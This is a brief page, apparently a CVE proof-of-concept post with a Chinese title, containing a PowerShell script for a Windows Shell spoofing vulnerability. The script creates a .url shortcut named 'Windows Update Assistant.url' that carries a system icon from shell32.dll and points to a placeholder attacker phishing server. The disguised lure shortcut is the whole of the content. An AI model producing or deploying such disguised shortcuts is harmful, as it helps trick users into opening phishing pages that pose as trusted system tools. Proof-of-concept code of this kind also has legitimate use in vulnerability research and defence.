CVE-2026-32202 Windows Shell欺骗漏洞

# PoC for CVE-2026-32202 Windows Shell Spoofing # This script demonstrates a conceptual spoofing attack vector. # It creates a malicious .url file that mimics a legitimate system tool. $maliciousUrl = "http://attacker-controlled-server.com/phish" $fakeFileName = "Windows Update Assistant.url" $iconLocation = "%SystemRoot%\System32\shell32.dll,0" # Create the content of the URL file $urlContent = @" [InternetShortcut] URL=$maliciousUrl IconFile=$iconLocation IconIndex=0 "@ # Write to disk Out-File -FilePath $fakeFileName -InputObject $urlContent -Encoding ASCII Write-Host "Created spoofing file: $fakeFileName" Write-Host "This demonstrates how protection mechanisms might fail to warn the user."